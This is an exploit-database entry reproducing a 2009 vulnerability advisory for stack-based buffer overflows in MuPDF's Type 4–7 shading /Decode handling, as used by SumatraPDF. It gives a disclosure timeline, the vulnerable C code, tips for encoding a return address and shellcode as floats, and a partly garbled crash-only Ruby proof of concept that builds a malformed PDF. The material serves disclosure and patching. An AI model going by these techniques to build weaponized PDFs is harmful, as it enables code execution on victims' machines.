MuPDF pdf_shade4.c Multiple Stack-Based Buffer Overflows

ID 1337DAY-ID-8163
Type zdt
Reporter Christophe Devine
Modified 2009-11-28T00:00:00


Exploit for unknown platform in category local exploits

MuPDF pdf_shade4.c Multiple Stack-Based Buffer Overflows

# Title: MuPDF pdf_shade4.c Multiple Stack-Based Buffer Overflows
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Christophe Devine
# Published: 2009-11-28
# Verified: yes

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"MuPDF is a lightweight PDF viewer and toolkit written in portable C".
It is used in particular by SumatraPDF which is a small open-source
PDF viewer for Windows.
MuPDF before commit 20091125231942 did not properly handle /Decode
arrays in a shading of type 4 to 7, leading to a stack-based buffer
overflow. Version 1.0.1 of SumatraPDF integrates this correction and
is no longer vulnerable -- it is recommended to upgrade to this version.
In addition, SumatraPDF 1.1 will have DEP enabled permanently on XP/
Vista/7 (through NtSetInformationProcess), as well as being marked
2009-11-23  MuPDF and SumatraPDF contacted
2009-11-25  fix integrated
2009-11-28  SumatraPDF 1.0.1 released
The vulnerable code is shown below:
   float c0[FZ_MAXCOLORS];
   float c1[FZ_MAXCOLORS];
   obj = fz_dictgets(shading, "Decode");
   if (fz_isarray(obj))
       for (i=0; i < fz_arraylen(obj) / 2; ++i) {
           c0[i] = fz_toreal(fz_arrayget(obj, i*2+4));
           c1[i] = fz_toreal(fz_arrayget(obj, i*2+5));
Although SumatraPDF is compiled with /GS, for some reason Visual Studio
2008 failed to flag the vulnerable function. Thus, exploitation is not
particularly difficult, although there are a few tricks:
  * Care must be taken not to overwrite the obj pointer on the stack,
    as it would lead to a crash. Fortunately, the i variable is
    overwritten first, so one can simply increment it to skip obj.
  * The overwritten array handles a bunch of floating point values.
    So all hexadecimal values (such as the overwritten eip) must be
    converted into a floting point value, but not using scientific
    notation because the MuPDf parser cannot handle it.
    For example, 0x33 will be encoded as
  * All 32-bit chunks of the shellcode need to have a valid floating
    point counterpart: no value must correspond to an IEEE 754 "NaN"
    (not a number). In practice, this can be easily achieved by
    inserting NOPs.
The origami PDF framework (see
may be used to test this vulnerability. The following ruby script creates
a PDF with an oversized /Decode array:
# MuPDF pdf_loadtype4shade() PoC code (crash only)
# authors: Christophe Devine and Guillaume Delugre
$: << "sources/parser"
require 'parser.rb'
include Origami
sploit = [ 1234 ] * 250
shader =
shader.ColorSpace = Graphics::Color::Space::DEVICE_RGB
shader.BitsPerCoordinate = 24
shader.BitsPerComponent = 16
shader.BitsPerFlag = 8
shader.Decode = sploit
page =, shader)
page.Contents =
How to modify this script to successfully exploit the vulnerability
is left as an exercise for the reader ;) Metasploit 3.3 was
used for the creation of the shellcode. This poc will not work with
other versions of SumatraPDF as it uses a jmp esp in the binary.

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